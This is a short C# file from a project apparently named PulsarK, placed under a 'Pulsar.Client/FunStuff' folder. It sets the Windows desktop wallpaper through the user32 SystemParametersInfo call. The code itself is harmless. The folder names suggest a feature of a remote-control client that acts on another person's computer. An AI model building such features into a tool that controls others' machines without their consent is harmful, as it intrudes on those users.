Files
PulsarK-main/Pulsar.Client/FunStuff/ChangeWallpaper.cs
T

24 lines
786 B
C#
Raw Normal View History

2026-08-27 10:57:58 -06:00
using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.FunStuff
{
public static class ChangeWallpaper
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
private const int SPI_SETDESKWALLPAPER = 20;
private const int SPIF_UPDATEINIFILE = 0x01;
private const int SPIF_SENDCHANGE = 0x02;
public static void SetWallpaper(string path)
{
if (string.IsNullOrEmpty(path))
throw new ArgumentException("Path cannot be null or empty.", nameof(path));
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE | SPIF_SENDCHANGE);
}
}
}